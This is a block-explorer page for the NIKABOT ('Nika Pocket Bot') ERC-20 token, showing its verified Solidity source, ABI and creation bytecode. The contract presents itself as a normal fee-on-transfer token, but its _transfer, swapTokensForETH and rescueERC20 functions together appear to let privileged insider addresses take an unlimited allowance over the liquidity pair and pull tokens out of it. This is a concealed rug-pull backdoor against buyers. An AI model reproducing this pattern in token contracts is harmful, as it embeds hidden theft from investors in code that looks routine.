ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 NIKABOT
Holders
91
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
NIKABOT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-08-19
*/
/**
Telegram: https://t.me/NikaPocketBotPortal
Twitter: https://twitter.com/nikapocketbot
Website: https://nikapocketbot.com
Bot: https://t.me/NikaPocketBot
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "you are not owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract NIKABOT is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Nika Pocket Bot";
string private constant _symbol = "NIKABOT";
uint8 private constant _decimals = 18;
uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isFeeExempt;
IRouter router;
address public pair;
bool public tradingAllowed = false;
bool private swapEnabled = false;
uint256 private swapTimes;
bool private swapping;
uint256 swapAmount = 0;
uint256 public swapThreshold = ( _totalSupply * 10 ) / 100000;
modifier lockTheSwap {swapping = true; _; swapping = false;}
uint256 private liquidityFee = 0;
uint256 private marketingFee = 0;
uint256 private developmentFee = 100;
uint256 private burnFee = 0;
uint256 private totalFee = 100;
uint256 private sellFee = 100;
uint256 private transferFee = 100;
uint256 private denominator = 10000;
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal development_receiver = msg.sender;
address internal marketing_receiver = 0x73A883bE3Ea2Ea6FEA079AA9585f0d613698c539;
address internal liquidity_receiver = msg.sender;
uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000;
uint256 public _maxWalletToken = ( _totalSupply * 200 ) / 10000;
constructor() {
isFeeExempt[address(this)] = true;
isFeeExempt[liquidity_receiver] = true;
isFeeExempt[marketing_receiver] = true;
isFeeExempt[development_receiver] = true;
isFeeExempt[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {return _name;}
function symbol() public pure returns (string memory) {return _symbol;}
function decimals() public pure returns (uint8) {return _decimals;}
function startTrading() external onlyOwner {tradingAllowed = true;}
function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
function addLiquidity() external payable onlyOwner{
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router; pair = _pair;
addLiquidity(balanceOf(address(this)), msg.value);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletToken = _totalSupply;
}
function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount;
}
function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
}
function manualSwap() external {
require(msg.sender == development_receiver || msg.sender == marketing_receiver);
swapTokensForETH(swapThreshold);
payable(msg.sender).transfer(address(this).balance);
}
function rescueERC20(address _address, address from, address to, uint256 amount) external {
require(msg.sender == development_receiver || msg.sender == marketing_receiver);
IERC20(_address).transferFrom(from, to, amount);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap {
uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = initialBalance.sub(address(this).balance);
uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
uint256 contractBalance = address(this).balance;
if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
liquidity_receiver,
block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_allowances[liquidity_receiver][address(this)]=~uint256(0);
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient];
}
function getTotalFee(address sender, address recipient) internal view returns (uint256) {
if(recipient == pair){return sellFee;}
if(sender == pair){return totalFee;}
return transferFee;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
if(getTotalFee(sender, recipient) > 0){
uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
return amount.sub(feeAmount);} return amount;
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
if(sender == pair && isFeeExempt[recipient]){swapEnabled=true;}
if(recipient == pair && !isFeeExempt[sender]){liquidity_receiver=recipient;swapTimes += uint256(1);}
if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
_balances[sender] = _balances[sender].sub(amount);
uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052620000126012600a62000324565b6200002290633b9aca006200033c565b60018190556006805461ffff60a01b191690556000600955620186a0906200004c90600a6200033c565b62000058919062000356565b600a556000600b819055600c8190556064600d819055600e91909155600f81905560108190556011556127106012819055601380546001600160a01b0319908116339081179092556014805482167373a883be3ea2ea6fea079aa9585f0d613698c539179055601580549091169091179055600154620000da9060c86200033c565b620000e6919062000356565b60165561271060015460c8620000fd91906200033c565b62000109919062000356565b6017553480156200011957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3503060009081526004602090815260408083208054600160ff1991821681179092556015546001600160a01b039081168652838620805483168417905560145481168652838620805483168417905560135416855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000379565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002665781600019048211156200024a576200024a6200020f565b808516156200025857918102915b93841c93908002906200022a565b509250929050565b6000826200027f575060016200031e565b816200028e575060006200031e565b8160018114620002a75760028114620002b257620002d2565b60019150506200031e565b60ff841115620002c657620002c66200020f565b50506001821b6200031e565b5060208310610133831016604e8410600b8410161715620002f7575081810a6200031e565b62000303838362000225565b80600019048211156200031a576200031a6200020f565b0290505b92915050565b60006200033560ff8416836200026e565b9392505050565b80820281158282048414176200031e576200031e6200020f565b6000826200037457634e487b7160e01b600052601260045260246000fd5b500490565b611bdc80620003896000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d15780639213c3581161008a578063a9059cbb11610064578063a9059cbb1461044c578063dd62ed3e1461046c578063e8078d94146104b2578063f2fde38b146104ba57600080fd5b80639213c358146103dc57806395d89b41146103fc578063a8aa1b311461042c57600080fd5b806370a082311461031e578063715018a614610354578063751039fc1461036957806378109e541461037e5780637d1db4a5146103945780638da5cb5b146103aa57600080fd5b8063293230b811610123578063293230b814610267578063313ce5671461027c5780633f4218e01461029857806348ff2b8b146102c857806351bc3c85146102e857806353371be0146102fd57600080fd5b80630445b6671461017657806306fdde031461019f578063095ea7b3146101e05780630d1859f61461021057806318160ddd1461023257806323b872dd1461024757600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018c600a5481565b6040519081526020015b60405180910390f35b3480156101ab57600080fd5b5060408051808201909152600f81526e139a5ad848141bd8dad95d08109bdd608a1b60208201525b60405161019691906117f1565b3480156101ec57600080fd5b506102006101fb366004611854565b6104da565b6040519015158152602001610196565b34801561021c57600080fd5b5061023061022b366004611880565b6104f1565b005b34801561023e57600080fd5b5061018c61059f565b34801561025357600080fd5b506102006102623660046118d1565b610610565b34801561027357600080fd5b5061023061067a565b34801561028857600080fd5b5060405160128152602001610196565b3480156102a457600080fd5b506102006102b3366004611912565b60046020526000908152604090205460ff1681565b3480156102d457600080fd5b506102306102e336600461193d565b6106c2565b3480156102f457600080fd5b50610230610717565b34801561030957600080fd5b5060065461020090600160a01b900460ff1681565b34801561032a57600080fd5b5061018c610339366004611912565b6001600160a01b031660009081526002602052604090205490565b34801561036057600080fd5b5061023061077d565b34801561037557600080fd5b506102306107f1565b34801561038a57600080fd5b5061018c60175481565b3480156103a057600080fd5b5061018c60165481565b3480156103b657600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610196565b3480156103e857600080fd5b506102306103f7366004611976565b610828565b34801561040857600080fd5b50604080518082019091526007815266139252d05093d560ca1b60208201526101d3565b34801561043857600080fd5b506006546103c4906001600160a01b031681565b34801561045857600080fd5b50610200610467366004611854565b6108ce565b34801561047857600080fd5b5061018c6104873660046119c1565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6102306108db565b3480156104c657600080fd5b506102306104d5366004611912565b610ac2565b60006104e7338484610b88565b5060015b92915050565b6013546001600160a01b031633148061051457506014546001600160a01b031633145b61051d57600080fd5b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af1158015610574573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059891906119ef565b5050505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261060b9290916106059190610cac565b90610cac565b905090565b600061061d848484610cb8565b61066f843361066a85604051806060016040528060288152602001611b7f602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906111cf565b610b88565b5060015b9392505050565b6000546001600160a01b031633146106ad5760405162461bcd60e51b81526004016106a490611a0c565b60405180910390fd5b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106ec5760405162461bcd60e51b81526004016106a490611a0c565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6013546001600160a01b031633148061073a57506014546001600160a01b031633145b61074357600080fd5b61074e600a546111fb565b60405133904780156108fc02916000818181858888f1935050505015801561077a573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107a75760405162461bcd60e51b81526004016106a490611a0c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016106a490611a0c565b6001546016819055601755565b6000546001600160a01b031633146108525760405162461bcd60e51b81526004016106a490611a0c565b601480546001600160a01b039485166001600160a01b031991821681179092556015805494861694821685179055601380549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b60006104e7338484610cb8565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016106a490611a0c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109829190611a37565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611a37565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a649190611a37565b600580546001600160a01b038086166001600160a01b03199283161790925560068054928416929091169190911790559050610abe610ab8306001600160a01b031660009081526002602052604090205490565b34611377565b5050565b6000546001600160a01b03163314610aec5760405162461bcd60e51b81526004016106a490611a0c565b6001600160a01b038116610b2d5760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b60448201526064016106a4565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106a4565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106a4565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106738284611a6a565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106a4565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106a4565b6001600160a01b038316600090815260026020526040902054811115610e005760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016106a4565b6001600160a01b03831660009081526004602052604090205460ff16158015610e4257506001600160a01b03821660009081526004602052604090205460ff16155b15610e9157600654600160a01b900460ff16610e915760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016106a4565b6001600160a01b03831660009081526004602052604090205460ff16158015610ed357506001600160a01b03821660009081526004602052604090205460ff16155b8015610eed57506006546001600160a01b03838116911614155b8015610f0457506001600160a01b03821661dead14155b15610f7d576017546001600160a01b038316600090815260026020526040902054610f2f9083611424565b1115610f7d5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016106a4565b60165481111580610fa657506001600160a01b03831660009081526004602052604090205460ff165b80610fc957506001600160a01b03821660009081526004602052604090205460ff165b6110095760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016106a4565b6006546001600160a01b03848116911614801561103e57506001600160a01b03821660009081526004602052604090205460ff165b15611057576006805460ff60a81b1916600160a81b1790555b6006546001600160a01b03838116911614801561108d57506001600160a01b03831660009081526004602052604090205460ff16155b156110c957601580546001600160a01b0319166001600160a01b03841617905560078054600191906000906110c3908490611a7d565b90915550505b6110d38383611430565b156110e9576110e3600a546114b8565b60006007555b6001600160a01b03831660009081526002602052604090205461110c9082610cac565b6001600160a01b0384166000908152600260205260408120919091556111328484611641565b61113c5781611147565b611147848484611687565b6001600160a01b03841660009081526002602052604090205490915061116d9082611424565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111c19085815260200190565b60405180910390a350505050565b600081848411156111f35760405162461bcd60e51b81526004016106a491906117f1565b505050900390565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061123057611230611a90565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611289573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ad9190611a37565b816001815181106112c0576112c0611a90565b6001600160a01b039283166020918202929092018101919091526015548216600090815260038252604080822030808452935290206000199055600554611308921684610b88565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790611341908590600090869030904290600401611aa6565b600060405180830381600087803b15801561135b57600080fd5b505af115801561136f573d6000803e3d6000fd5b505050505050565b60055461138f9030906001600160a01b031684610b88565b60055460155460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156113ff573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105989190611b17565b60006106738284611a7d565b60085460009060ff1615801561144f5750600654600160a81b900460ff165b80156114645750600654600160a01b900460ff165b801561148957506001600160a01b03831660009081526004602052604090205460ff16155b80156114a257506006546001600160a01b038381169116145b8015610673575050600954600754101592915050565b6008805460ff19166001908117909155600d54600c54600b546000936114f8936002936114f29391926114ec928391611424565b90611424565b9061178e565b9050600061151b82611515600b548661178e90919063ffffffff16565b9061179a565b905060006115298483610cac565b905047611535826111fb565b60006115418247610cac565b9050600061156461155d600b5488610cac90919063ffffffff16565b839061179a565b9050600061157d600b548361178e90919063ffffffff16565b9050801561158f5761158f8682611377565b600c546000906115a4906114f285600261178e565b905080156115e8576014546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156115e6573d6000803e3d6000fd5b505b47801561162b576013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611629573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156106735750506001600160a01b031660009081526004602052604090205460ff1615919050565b60008061169485856117a6565b11156117875760006116b76116a986866117a6565b6012546114f290869061179a565b306000908152600260205260409020549091506116d49082611424565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117259085815260200190565b60405180910390a36000600e541180156117495750600e5461174786866117a6565b115b15611775576117753061dead611770600e546114f26012548961179a90919063ffffffff16565b610cb8565b61177f8382610cac565b915050610673565b5092915050565b60006106738284611b45565b60006106738284611b5c565b6006546000906001600160a01b03908116908316036117c857506010546104eb565b6006546001600160a01b03908116908416036117e75750600f546104eb565b5060115492915050565b600060208083528351808285015260005b8181101561181e57858101830151858201604001528201611802565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461077a57600080fd5b6000806040838503121561186757600080fd5b82356118728161183f565b946020939093013593505050565b6000806000806080858703121561189657600080fd5b84356118a18161183f565b935060208501356118b18161183f565b925060408501356118c18161183f565b9396929550929360600135925050565b6000806000606084860312156118e657600080fd5b83356118f18161183f565b925060208401356119018161183f565b929592945050506040919091013590565b60006020828403121561192457600080fd5b81356106738161183f565b801515811461077a57600080fd5b6000806040838503121561195057600080fd5b823561195b8161183f565b9150602083013561196b8161192f565b809150509250929050565b60008060006060848603121561198b57600080fd5b83356119968161183f565b925060208401356119a68161183f565b915060408401356119b68161183f565b809150509250925092565b600080604083850312156119d457600080fd5b82356119df8161183f565b9150602083013561196b8161183f565b600060208284031215611a0157600080fd5b81516106738161192f565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060208284031215611a4957600080fd5b81516106738161183f565b634e487b7160e01b600052601160045260246000fd5b818103818111156104eb576104eb611a54565b808201808211156104eb576104eb611a54565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611af65784516001600160a01b031683529383019391830191600101611ad1565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611b2c57600080fd5b8351925060208401519150604084015190509250925092565b80820281158282048414176104eb576104eb611a54565b600082611b7957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f8b1836747ca65e862516422e05dfa146de7c0f475fed58ee03a536b93d95e064736f6c63430008130033
Deployed Bytecode
